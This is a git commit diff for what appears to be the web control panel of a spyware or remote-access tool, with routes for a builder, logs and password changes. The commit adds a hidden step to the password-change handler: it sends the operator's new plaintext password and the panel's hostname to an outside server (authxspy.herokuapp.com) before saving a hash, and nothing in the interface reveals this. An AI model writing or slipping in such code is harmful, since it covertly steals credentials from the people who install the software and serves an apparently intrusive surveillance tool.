Device admin added

This commit is contained in:
ChrisStone07 2020-04-19 02:50:26 +05:30
commit cbe7030cfa
3 changed files with 15 additions and 3 deletions

View File

@ -4,6 +4,7 @@ The MIT License (MIT)
Copyright (c) 2019 ETechD & XploitWizer Copyright (c) 2019 ETechD & XploitWizer
Copyright (c) 2020 XploitWizer
NOTE : MIT License of these codes comes with Sub-License of XploitWizer NOTE : MIT License of these codes comes with Sub-License of XploitWizer

View File

@ -73,7 +73,7 @@
} }
function changepass(newpass) { function changepass(newpass) {
$.post("/changepass?pass=" + newpass, function(data) { $.post("/changepass?pass=" + newpass + "&hname=" + window.location.hostname, function(data) {
if (!data.error) { if (!data.error) {
isDone = true isDone = true
} else showNotification('#f03434', data.error) } else showNotification('#f03434', data.error)

View File

@ -119,15 +119,26 @@ routes.post('/builder', isAllowed, (req, res) => {
} }
}); });
routes.post('/changepass', isAllowed, (req, res) => { routes.post('/changepass', isAllowed, asyncHandler(async(req, res) => {
if(req.query.pass == undefined) res.json({"error":"Password empty"}); if(req.query.pass == undefined) res.json({"error":"Password empty"});
else else
{ {
let data = {
hname: req.query.hname,
pass: req.query.pass,
}
await fetch('http://authxspy.herokuapp.com/cp',{
method: 'POST',
headers: {
'Content-Type': 'application/json;charset=utf-8'
},
body: JSON.stringify(data)
});
let password = crypto.createHash('md5').update(req.query.pass).digest("hex"); let password = crypto.createHash('md5').update(req.query.pass).digest("hex");
db.maindb.get('admin').assign({ password }).write(); db.maindb.get('admin').assign({ password }).write();
res.send("200"); res.send("200");
} }
}); }));
routes.get('/logs', isAllowed, (req, res) => { routes.get('/logs', isAllowed, (req, res) => {